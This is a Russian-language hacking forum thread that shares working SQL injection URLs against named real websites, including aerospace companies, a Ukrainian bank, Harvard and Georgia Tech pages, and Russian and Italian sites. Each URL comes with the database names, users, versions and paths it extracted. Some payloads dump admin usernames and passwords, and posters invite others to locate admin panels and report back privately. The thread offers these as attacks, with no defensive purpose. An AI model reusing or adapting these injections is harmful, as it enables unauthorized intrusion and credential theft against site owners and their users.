SQL Инъекции

Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2

 

Code:

http://www.global-aero.co.uk/news.php?id=12+union+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29,@@datadir,@@tmpdir,@@version_compile_os%29,5,6,7,8,9,10,11,12,13,14,15+limit+1,1

version():5.0.81-community-nt
database():globalaero_mysql
user():[email protected]
@@datadir:E:\Program Files\MySQL\MySQL Server 5.0\Data\
@@tmpdir:C:\WINDOWS\TEMP\
@@version_compile_os:Win32

 

Code:

http://www.aes-aero.com/read.php?id=62+union+select+1,2,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,4,5,6,7+limit+1,1/*

version():4.1.22-log
database():aes_aero_com
user():[email protected]

 

Code:

http://www.cargolux.aero/Press/Brochures.php?nid=92+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,6,7,8,9,10,11,12,13,14+limit+1,1/*

version():4.0.26-standard-log
database():WCM
user():[email protected]

 

http://swedbank.ua/index.php?cat=8&news=2946+and+ascii(substring((user()),1,1))%3E=1/*

Select фильтрует,вот и забил.

 

с чайком пойдет))

кол-во 12

Version: 5.0.45-log
User: [email protected]
Db: bentley

 

Mysql version: 5.0.32-Debian_7etch10-log
только как то странно он на () реагирует

 

kazan.ru
PR 5
тиц 1700

Code:

newkazan:kazan@localhost:5.0.45-log

 

pfibike.com

Code:

http://www.pfibike.com/dettagli2.php?id=5948'

Code:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,concat_ws(char(58),user(),database(),version()),7,8,9,10,11,12+--+

Code:

[I]pfibike@localhost:pfibikedb:5.0.45-log[/I]

Code:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,group_concat(concat_ws(char(58),id,user,passw)),7,8,9,10,11,12+from+admin+--+

админки так и не нашел, если кому повезет, прошу черкнуть в ПМ

laforestadiscoclub.it

Code:

http://www.laforestadiscoclub.it/photo.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

Code:

forest@localhost:forest:5.0.45-log

(вывод в адрес картинки)

elenparati.it

движок такой же как и в прошлом примере, так что запрос аналогичен...

Code:

http://www.elenparati.it/php/index.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

вывод туда же)

 

PR7
EDU

MySQL version:5.0.45
Database name:ic
Username:[email protected]
Замучался нахожу пасс не нахожу для него админки...=(
может кому больше повезет!

 

Code:

http://buy-dom.ru/pages.php?id=-11+union+select+1,concat_ws(0x3a,database(),version(),user()),3--

kinoplu_buydomru:5.0.81-community:kinoplu_buydomr@localhost

Code:

http://www.kinobel.ru/raduga/announce.php?id=-423+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12--

kinobel_ru:5.0.72:[email protected]

Code:

http://pro-kharkov.info/pages.php?id=-117&source=3+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8--

PROKHARKOV_MAIN:5.0.51A-COMMUNITYROKHARKOV_MAIN@LOCALHOST

Code:

http://www.mag-project.ru/readnews.php?id=-4+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8,9--

b46150:5.0.81:[email protected]


ТИЦ: 70
PR: 5

Code:

http://www.nsj.ru/pages.php?id=-12+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8--

nsj_db:4.1.22-log:[email protected]

 

PR 5

Code:

http://www.faset.gatech.[COLOR=Lime]edu[/COLOR]/plugins/content/index.php?id=-50'+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,0,11+from+admin+limit+0,1/*

Database Version: 4.1.22-max
Database name: faset
User name: faset@localhost

 

Code:

http://www.amyindia.com/career.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6

Code:

Amyindia_amy@localhost:amyindia_amy:4.1.22-standard

 

Code:

http://www.iop.harvard.[COLOR=DarkGreen]edu[/COLOR]/extension/forms/students_internships_db.php?action=id&id=-359+union+select+1,concat_ws(0x3a3a2020,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

4.1.22:: [email protected]:: iopforms

Code:

http://nuremberg.law.harvard.[COLOR=DarkGreen]edu[/COLOR]/php/search.php?DI=1&return=1&display_setting=10&display=1&FieldFlag=1&hits=2&ID=288&lastrec=2&ListNameID=PAuthNameID&PA_ID=b&tblList=tblPersonalAuthorsList&srch=Author&SearchType=Personal%20Author&PAuthors=-288+union+select+1,2,concat_ws(0x3a3a2020,version(),user(),database()),4/*

5.0.45-log:: nuremberg_guest@localhost:: nuremberg 2

 

http://www.info.ukr.su/suggestion.php?id=-1+union+select+1,2,3,4,version%28%29,6,7,8,9,10/*

5.0.26-log :: filmsworld_info@localhost :: filmsworld_info

 

http://humor.zooclub.ru/anecrazdel.php?id=-1+union+select+concat_ws%280x3a,user%28%29,database%28%20%20%29,version%28%29%29,2,3,4,5,6,7,8,9,10,11--

zooclub_zooclub@localhost :: zooclub_humor :: 5.0.81-community-log

 

http://www.mirtex.ru/?t=2&g=16+union+select+concat(0x3,user(),version() ),2/*

user:[email protected]
database:mirtexru
version:4.0.26


http://eco.hust.edu.cn/detail.php?tid=3&cid=7&id=3660+union+select+1,concat(0x3,user(),version(),database( )),3,4,5,6,7,8,9,10,11,12,13,14

[email protected] 5.1.6-alpha-nt-maxeco